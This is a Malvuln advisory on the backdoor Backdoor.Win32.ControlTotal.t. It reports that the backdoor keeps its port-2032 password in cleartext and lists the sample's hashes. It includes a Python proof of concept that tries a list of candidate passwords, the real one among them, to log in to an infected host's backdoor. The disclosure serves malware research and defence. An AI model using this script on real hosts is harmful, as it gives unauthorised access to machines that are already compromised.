📄 Backdoor.Win32.ControlTotal.t MVID-2025-0702 Insecure Credential Storage

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2025
    Original source: https://malvuln.com/advisory/6c0eda1210da81b191bd970cb0f8660a.txt
    Malvuln Intelligence Feed: https://intel.malvuln.com/
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    Threat: Backdoor.Win32.ControlTotal.t
    Vulnerability: Insecure Credential Storage
    Description: The malware listens on TCP port 2032 and requires authentication. The password "jdf4df4vdf" is stored in cleartext within the PE file. We send using a custom client to validate the password, as the malware did not like nc64 likely due to CRLF characters.
    Family: ControlTotal
    Type: PE32 
    Attack-pattern TTP: Unsecured Credentials (T1552)
    MD5: 6c0eda1210da81b191bd970cb0f8660a
    SHA256: 25b46a418b4e0749f83d9439fd1f5b9e2e5dd0703398516ac750580a26c800d5
    Vuln ID: MVID-2025-0702
    Disclosure: 12/20/2025
    
    Exploit/PoC:
    from socket import *
    import time
    #By John Page (aka hyp3rlinx)
    #Backdoor.Win32.ControlTotal.t
    #MD5: 6c0eda1210da81b191bd970cb0f8660a
    #
    MALWARE_HOST="x.x.x.x"
    PORT=2032
    
    candidates = [
        "cs4sd65F",
        "5s64jhbk",
        "54asD54s",
        "SDd54F7j",
        "5fh4dhhg",
        "df2gdfg2",
        "AS45aas7",
        "D54SDFfh",
        "jdf4df4vdf",  #Password Here
        "sdf21fsd",
        "dgv2fd",
        "annsk33",
        "20022okkd"
    ]
    
    def chk_res(s, p=None):
        failed = False
        res = b''
        while True:
            chunk = s.recv(128)
            if not chunk:
                break
            res += chunk
            text = res.decode('latin-1', errors='ignore')
            if "xaContraseña Incorrecta" in text:
                failed = True
                break
    
        if not failed:
            return p
    
        return None
    
    
    def backdoor_login(passwd):
    
        s=socket(AF_INET, SOCK_STREAM)
        s.connect((MALWARE_HOST, PORT))
    
        s.send(passwd.encode())
        result = chk_res(s, passwd)
        if result:
            print("[*] Password found: ", result)
        else:
            print("[!] Failed.")
            return False
            
        s.close()
        return True
        
    
    def main():
        for x in candidates:
            print("[-] Trying: ", x)
            if backdoor_login(x):
                break
            time.sleep(0.6)
    
    if __name__ == "__main__":
        main()
    
    
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